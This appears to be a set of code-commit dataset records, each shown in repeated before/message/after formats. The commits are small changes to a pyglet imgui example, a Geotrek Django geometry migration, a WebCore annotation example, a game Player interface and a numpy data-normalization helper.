<commit_before># -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=800, height=600, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main() <commit_msg>Make the window in the pyglet example larger.<commit_after>
# -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=1280, height=720, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main()
# -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=800, height=600, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main() Make the window in the pyglet example larger.# -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=1280, height=720, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main()
<commit_before># -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=800, height=600, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main() <commit_msg>Make the window in the pyglet example larger.<commit_after># -*- coding: utf-8 -*- from __future__ import absolute_import import pyglet from pyglet import gl import imgui from imgui.integrations.pyglet import PygletRenderer def main(): window = pyglet.window.Window(width=1280, height=720, resizable=True) gl.glClearColor(1, 1, 1, 1) renderer = PygletRenderer(window) def update(dt): imgui.new_frame() if imgui.begin_main_menu_bar(): if imgui.begin_menu("File", True): clicked_quit, selected_quit = imgui.menu_item( "Quit", 'Cmd+Q', False, True ) if clicked_quit: exit(1) imgui.end_menu() imgui.end_main_menu_bar() imgui.show_test_window() imgui.begin("Custom window", True) imgui.text("Bar") imgui.text_colored("Eggs", 0.2, 1., 0.) imgui.end() @window.event def on_draw(): update(1/60.0) window.clear() imgui.render() renderer.render(imgui.get_draw_data()) pyglet.app.run() renderer.shutdown() if __name__ == "__main__": main()
cec10f55b280311161033ad3c9457b20822f7353
geotrek/outdoor/migrations/0003_auto_20201214_1408.py
geotrek/outdoor/migrations/0003_auto_20201214_1408.py
# Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ]
# Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.SeparateDatabaseAndState( database_operations=[ migrations.RunSQL('ALTER TABLE "outdoor_site" ALTER COLUMN "geom" TYPE geometry(GeometryCollection,2154) USING ST_ForceCollection(geom);') ], state_operations=[ migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), ] ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ]
Fix migration Site geom to GeometryCollection
Fix migration Site geom to GeometryCollection
Python
bsd-2-clause
GeotrekCE/Geotrek-admin,GeotrekCE/Geotrek-admin,makinacorpus/Geotrek,GeotrekCE/Geotrek-admin,makinacorpus/Geotrek,GeotrekCE/Geotrek-admin,makinacorpus/Geotrek,makinacorpus/Geotrek
# Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ] Fix migration Site geom to GeometryCollection
# Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.SeparateDatabaseAndState( database_operations=[ migrations.RunSQL('ALTER TABLE "outdoor_site" ALTER COLUMN "geom" TYPE geometry(GeometryCollection,2154) USING ST_ForceCollection(geom);') ], state_operations=[ migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), ] ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ]
<commit_before># Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ] <commit_msg>Fix migration Site geom to GeometryCollection<commit_after>
# Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.SeparateDatabaseAndState( database_operations=[ migrations.RunSQL('ALTER TABLE "outdoor_site" ALTER COLUMN "geom" TYPE geometry(GeometryCollection,2154) USING ST_ForceCollection(geom);') ], state_operations=[ migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), ] ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ]
# Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ] Fix migration Site geom to GeometryCollection# Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.SeparateDatabaseAndState( database_operations=[ migrations.RunSQL('ALTER TABLE "outdoor_site" ALTER COLUMN "geom" TYPE geometry(GeometryCollection,2154) USING ST_ForceCollection(geom);') ], state_operations=[ migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), ] ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ]
<commit_before># Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ] <commit_msg>Fix migration Site geom to GeometryCollection<commit_after># Generated by Django 3.1.4 on 2020-12-14 14:08 from django.conf import settings import django.contrib.gis.db.models.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('outdoor', '0002_practice_sitepractice'), ] operations = [ migrations.AlterModelOptions( name='site', options={'ordering': ('name',), 'verbose_name': 'Outdoor site', 'verbose_name_plural': 'Outdoor sites'}, ), migrations.SeparateDatabaseAndState( database_operations=[ migrations.RunSQL('ALTER TABLE "outdoor_site" ALTER COLUMN "geom" TYPE geometry(GeometryCollection,2154) USING ST_ForceCollection(geom);') ], state_operations=[ migrations.AlterField( model_name='site', name='geom', field=django.contrib.gis.db.models.fields.GeometryCollectionField(srid=settings.SRID, verbose_name='Location'), ), ] ), migrations.AlterField( model_name='sitepractice', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_practices', to='outdoor.site', verbose_name='Outdoor site'), ), ]
e824d8ad284603b73df48f1a413b129280318937
examples/annotation.py
examples/annotation.py
# encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension HTTPServer('127.0.0.1', 8080, application=Application(Root, dict(extensions=dict( template = TemplateExtension(), typecast = CastExtension() )))).start()
# encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': """Multiply two values together and return the result via JSON. Python 3 function annotations are used to ensure that the arguments are integers. This requires the functionality of web.ext.cast:CastExtension. The return value annotation is handled by web.ext.template:TemplateExtension and may be the name of a serialization engine or template path. (The trailing colon may be omitted for serialization when used this way.) There are two ways to execute this method: * POST http://localhost:8080/mul * GET http://localhost:8080/mul?a=27&b=42 * GET http://localhost:8080/mul/27/42 The latter relies on the fact we can't descend past a callable method so the remaining path elements are used as positional arguments, whereas the others rely on keyword argument assignment from a form-encoded request body or query string arguments. (Security note: any form in request body takes presidence over query string arguments!) """ if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension # Configure the extensions needed for this example: config = dict( extensions = dict( template = TemplateExtension(), typecast = CastExtension() )) # Create the underlying WSGI application, passing the extensions to it. app = Application(Root, config) # Start the development HTTP server. HTTPServer('127.0.0.1', 8080, application=app).start()
Split the HTTPServer line into multiple.
Split the HTTPServer line into multiple. Also added comments and a docstring, since this is an example after all.
Python
mit
marrow/WebCore,marrow/WebCore
# encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension HTTPServer('127.0.0.1', 8080, application=Application(Root, dict(extensions=dict( template = TemplateExtension(), typecast = CastExtension() )))).start() Split the HTTPServer line into multiple. Also added comments and a docstring, since this is an example after all.
# encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': """Multiply two values together and return the result via JSON. Python 3 function annotations are used to ensure that the arguments are integers. This requires the functionality of web.ext.cast:CastExtension. The return value annotation is handled by web.ext.template:TemplateExtension and may be the name of a serialization engine or template path. (The trailing colon may be omitted for serialization when used this way.) There are two ways to execute this method: * POST http://localhost:8080/mul * GET http://localhost:8080/mul?a=27&b=42 * GET http://localhost:8080/mul/27/42 The latter relies on the fact we can't descend past a callable method so the remaining path elements are used as positional arguments, whereas the others rely on keyword argument assignment from a form-encoded request body or query string arguments. (Security note: any form in request body takes presidence over query string arguments!) """ if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension # Configure the extensions needed for this example: config = dict( extensions = dict( template = TemplateExtension(), typecast = CastExtension() )) # Create the underlying WSGI application, passing the extensions to it. app = Application(Root, config) # Start the development HTTP server. HTTPServer('127.0.0.1', 8080, application=app).start()
<commit_before># encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension HTTPServer('127.0.0.1', 8080, application=Application(Root, dict(extensions=dict( template = TemplateExtension(), typecast = CastExtension() )))).start() <commit_msg>Split the HTTPServer line into multiple. Also added comments and a docstring, since this is an example after all.<commit_after>
# encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': """Multiply two values together and return the result via JSON. Python 3 function annotations are used to ensure that the arguments are integers. This requires the functionality of web.ext.cast:CastExtension. The return value annotation is handled by web.ext.template:TemplateExtension and may be the name of a serialization engine or template path. (The trailing colon may be omitted for serialization when used this way.) There are two ways to execute this method: * POST http://localhost:8080/mul * GET http://localhost:8080/mul?a=27&b=42 * GET http://localhost:8080/mul/27/42 The latter relies on the fact we can't descend past a callable method so the remaining path elements are used as positional arguments, whereas the others rely on keyword argument assignment from a form-encoded request body or query string arguments. (Security note: any form in request body takes presidence over query string arguments!) """ if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension # Configure the extensions needed for this example: config = dict( extensions = dict( template = TemplateExtension(), typecast = CastExtension() )) # Create the underlying WSGI application, passing the extensions to it. app = Application(Root, config) # Start the development HTTP server. HTTPServer('127.0.0.1', 8080, application=app).start()
# encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension HTTPServer('127.0.0.1', 8080, application=Application(Root, dict(extensions=dict( template = TemplateExtension(), typecast = CastExtension() )))).start() Split the HTTPServer line into multiple. Also added comments and a docstring, since this is an example after all.# encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': """Multiply two values together and return the result via JSON. Python 3 function annotations are used to ensure that the arguments are integers. This requires the functionality of web.ext.cast:CastExtension. The return value annotation is handled by web.ext.template:TemplateExtension and may be the name of a serialization engine or template path. (The trailing colon may be omitted for serialization when used this way.) There are two ways to execute this method: * POST http://localhost:8080/mul * GET http://localhost:8080/mul?a=27&b=42 * GET http://localhost:8080/mul/27/42 The latter relies on the fact we can't descend past a callable method so the remaining path elements are used as positional arguments, whereas the others rely on keyword argument assignment from a form-encoded request body or query string arguments. (Security note: any form in request body takes presidence over query string arguments!) """ if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension # Configure the extensions needed for this example: config = dict( extensions = dict( template = TemplateExtension(), typecast = CastExtension() )) # Create the underlying WSGI application, passing the extensions to it. app = Application(Root, config) # Start the development HTTP server. HTTPServer('127.0.0.1', 8080, application=app).start()
<commit_before># encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension HTTPServer('127.0.0.1', 8080, application=Application(Root, dict(extensions=dict( template = TemplateExtension(), typecast = CastExtension() )))).start() <commit_msg>Split the HTTPServer line into multiple. Also added comments and a docstring, since this is an example after all.<commit_after># encoding: utf-8 """Basic class-based demonstration application. Applications can be as simple or as complex and layered as your needs dictate. """ class Root(object): def __init__(self, context): self._ctx = context def mul(self, a: int = None, b: int = None) -> 'json': """Multiply two values together and return the result via JSON. Python 3 function annotations are used to ensure that the arguments are integers. This requires the functionality of web.ext.cast:CastExtension. The return value annotation is handled by web.ext.template:TemplateExtension and may be the name of a serialization engine or template path. (The trailing colon may be omitted for serialization when used this way.) There are two ways to execute this method: * POST http://localhost:8080/mul * GET http://localhost:8080/mul?a=27&b=42 * GET http://localhost:8080/mul/27/42 The latter relies on the fact we can't descend past a callable method so the remaining path elements are used as positional arguments, whereas the others rely on keyword argument assignment from a form-encoded request body or query string arguments. (Security note: any form in request body takes presidence over query string arguments!) """ if not a and not b: return dict(message="Pass arguments a and b to multiply them together!") return dict(answer=a * b) if __name__ == '__main__': from marrow.server.http import HTTPServer from web.core.application import Application from web.ext.template import TemplateExtension from web.ext.cast import CastExtension # Configure the extensions needed for this example: config = dict( extensions = dict( template = TemplateExtension(), typecast = CastExtension() )) # Create the underlying WSGI application, passing the extensions to it. app = Application(Root, config) # Start the development HTTP server. HTTPServer('127.0.0.1', 8080, application=app).start()
1c76ec9c600b6a85f7a9a48b72c1c6c4f447ec24
capstone/player.py
capstone/player.py
import abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, move): pass
import abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, game): '''Returns the chosen move from game.legal_moves().''' pass
Rename move parameter to game
Rename move parameter to game
Python
mit
davidrobles/mlnd-capstone-code
import abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, move): pass Rename move parameter to game
import abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, game): '''Returns the chosen move from game.legal_moves().''' pass
<commit_before>import abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, move): pass <commit_msg>Rename move parameter to game<commit_after>
import abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, game): '''Returns the chosen move from game.legal_moves().''' pass
import abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, move): pass Rename move parameter to gameimport abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, game): '''Returns the chosen move from game.legal_moves().''' pass
<commit_before>import abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, move): pass <commit_msg>Rename move parameter to game<commit_after>import abc import six @six.add_metaclass(abc.ABCMeta) class Player(object): '''Interface for a Player of a Game''' @abc.abstractmethod def choose_move(self, game): '''Returns the chosen move from game.legal_moves().''' pass
ca321b449f16d966bccf3d30680819b6dafa00bc
normalize_data.py
normalize_data.py
import numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[:,:,:,:,0]) min_x = np.min(data_gesture[:,:,:,:,0]) max_y = np.max(data_gesture[:,:,:,:,1]) min_y = np.min(data_gesture[:,:,:,:,1]) data_gesture[:,:,:,:,0]=(data_gesture[:,:,:,:,0]-min_x)/(max_x - min_x) data_gesture[:,:,:,:,1]=(data_gesture[:,:,:,:,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized')
import numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[...,0]) min_x = np.min(data_gesture[...,0]) max_y = np.max(data_gesture[...,1]) min_y = np.min(data_gesture[...,1]) data_gesture[...,0]=(data_gesture[...,0]-min_x)/(max_x - min_x) data_gesture[...,1]=(data_gesture[...,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized')
Replace integer indices with ellipsis
Replace integer indices with ellipsis
Python
mit
JustinShenk/sonic-face,JustinShenk/sonic-face
import numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[:,:,:,:,0]) min_x = np.min(data_gesture[:,:,:,:,0]) max_y = np.max(data_gesture[:,:,:,:,1]) min_y = np.min(data_gesture[:,:,:,:,1]) data_gesture[:,:,:,:,0]=(data_gesture[:,:,:,:,0]-min_x)/(max_x - min_x) data_gesture[:,:,:,:,1]=(data_gesture[:,:,:,:,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized') Replace integer indices with ellipsis
import numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[...,0]) min_x = np.min(data_gesture[...,0]) max_y = np.max(data_gesture[...,1]) min_y = np.min(data_gesture[...,1]) data_gesture[...,0]=(data_gesture[...,0]-min_x)/(max_x - min_x) data_gesture[...,1]=(data_gesture[...,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized')
<commit_before>import numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[:,:,:,:,0]) min_x = np.min(data_gesture[:,:,:,:,0]) max_y = np.max(data_gesture[:,:,:,:,1]) min_y = np.min(data_gesture[:,:,:,:,1]) data_gesture[:,:,:,:,0]=(data_gesture[:,:,:,:,0]-min_x)/(max_x - min_x) data_gesture[:,:,:,:,1]=(data_gesture[:,:,:,:,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized') <commit_msg>Replace integer indices with ellipsis<commit_after>
import numpy as np from sklearn import preprocessing as pp print('normalization function imported') #normalize data in respect with keys in dictionary def normalize_data(data): # get keys from original data gestures = list(data) # create empty dictionary to store normalized data with gestures gdata = {} # get max/min of x/y across samples and frames for gesture in gestures: data_gesture = np.asarray(data[gesture]) max_x = np.max(data_gesture[...,0]) min_x = np.min(data_gesture[...,0]) max_y = np.max(data_gesture[...,1]) min_y = np.min(data_gesture[...,1]) data_gesture[...,0]=(data_gesture[...,0]-min_x)/(max_x - min_x) data_gesture[...,1]=(data_gesture[...,1]-min_y)/(max_y - min_y) #store normalized data into dictionary gdata[gesture] = data_gesture data = gdata return data return print('data normalized')
